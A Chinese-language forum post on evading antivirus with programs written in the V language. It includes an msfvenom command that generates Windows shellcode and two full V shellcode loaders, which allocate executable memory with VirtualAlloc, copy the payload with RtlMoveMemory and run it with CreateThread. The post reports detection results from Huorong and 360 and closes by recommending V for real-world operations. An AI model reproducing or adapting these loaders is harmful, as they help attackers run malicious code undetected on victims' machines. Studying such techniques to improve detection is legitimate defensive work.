本帖最后由 zhaorong 于 2022-5-20 14:34 编辑
前言
VLang是2019发布的一款开源静态类型语言,最近在github趋势榜上一直占有一席之地VLang语法跟go
语言非常相似,熟悉go语言就相当于掌握了80%的v语言,有兴趣可以去官网仔细查看。
就像GoLang,Nim等语言刚出来时一样,杀软对新的语言查杀力度并不大,此文章将进行一定探索。
注:笔者测试时VLang最新版本为0.2.4,此篇文章主要进行相关代码编写以及定性分析不
对vlang编译原理以及程序实现原理进行深入探索。
Windows32位系统下VLang 安装
由于笔者在64位系统下使用VLang编译32位程序老是出问题,故使用32位win10_1808纯净虚拟机进行安装编译。
安装步骤:
安装git
安装llvm-mingw(加入环境变量)
git clone https://github.com/vlang/v
git clone https://github.com/vlang/tccbin -b thirdparty-windows-i386
move tccbin/* v/thirdparty/tcc/
cd v
git clone --depth=1 https://github.com/vlang/vc
.\make.bat -tcc32
将v文件夹加入环境变量
注:第8步可以考虑利用make.bat使用其他编译器解析编译比如clang, gcc等
可能会对后续实验结果有影响。
后面编译测试都在此环境下进行
程序执行免杀测试
hello word杀软测试
module main
fn main() {
println('hello word')
}
使用 v file.v 进行编译,杀软查杀情况
由于默认编译选项会有很多V语言自带函数,查杀较多
使用 v -prod file.v 去掉一些调试用的函数
动态加载函数免杀测试
module main
import dl
type Exec = fn (string, int) int
fn main() {
h := dl.open('kernel32', dl.rtld_now)
mut proc := &Exec(0)
proc = dl.sym(h, 'WinExec')
res := proc("calc.exe",2)
println(res)
}
无变化
shellcode免杀测试
msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -f c >> 1.txt
ed -e 's/\x/,0x/g' -e 's/"\\,//g' -e 's/\\//g' -e 's/"/,/g' 1.txt
生成shellcode
静态导入高危函数
module main
import time
#flag -luser3 //加个2 敏感词???
#flag -lkernel32
fn C.VirtualAlloc(voidptr, usize, u32, u32) voidptr
fn C.RtlMoveMemory(voidptr, voidptr, usize)
fn C.CreateThread(voidptr, usize, voidptr, voidptr, u32, &u32) voidptr
fn inject(shellcode []byte) bool {
address_pointer := C.VirtualAlloc(voidptr(0), usize(sizeof(shellcode)), 0x3000, 0x40)
println(address_pointer)
C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len)
C.CreateThread(voidptr(0), usize(0), voidptr(address_pointer), voidptr(0), 0, &u32(0))
time.sleep(1000* time.millisecond)
return true
}
fn main() {
shellcode := [
byte(0xda)...]
inject(shellcode)
}
动态导入高危函数
module main
import time
import dl
type VirtualAlloc=fn (voidptr, usize, u32, u32) voidptr
type RtlMoveMemory=fn (voidptr, voidptr, usize) voidptr
type CreateThread= fn (voidptr, usize, voidptr, voidptr, u32, &u32) voidptr
fn inject(shellcode []byte) bool {
h := dl.open('kernel32', dl.rtld_lazy)
mut cvir := &VirtualAlloc(0)
cvir = dl.sym(h, 'VirtualAlloc')
address_pointer :=cvir(voidptr(0), usize(sizeof(shellcode)), 0x3000, 0x40)
println(address_pointer)
h2 := dl.open('kernel32', dl.rtld_lazy)//-prod的奇怪现象
mut crtl := &RtlMoveMemory(0)
crtl = dl.sym(h2, 'RtlMoveMemory')
crtl(address_pointer, voidptr(shellcode.data), usize(shellcode.len))
h3 := dl.open('kernel32', dl.rtld_lazy)
mut ccth := &CreateThread(0)
ccth = dl.sym(h3, 'CreateThread')
ccth(voidptr(0), usize(0), voidptr(address_pointer), voidptr(0), u32(0), &u32(0))
time.sleep(1000* time.millisecond)
return true
}
fn main() {
shellcode := [
byte(0xda)...]
inject(shellcode)
}
动态导入多个函数有个比较奇怪的现象:如果都用h的sym那么使用v run file.v或者v file.v可以正常执
行shellcode,但是如果使用-prod编译文件,将出现下面错误,所以使用了多次dl.open。
最后杀软查杀情况与hello word比就只增加了一个。
火绒:
360:
总结
从上面情况看VLang的免杀效果还是不错的,和go相比,v在编程上语法更简单,更符合笔者的编程习惯编译程
序也比较小,和C编译出来的差不多,也支持跨平台,甚至在之后的0.3版本中,v将支持c代码直接转v代码但是
由于v的一些编译实现机制,正常程序造成误杀的可能性比较大。正常实战中,可以考虑使用v搞些事情。 |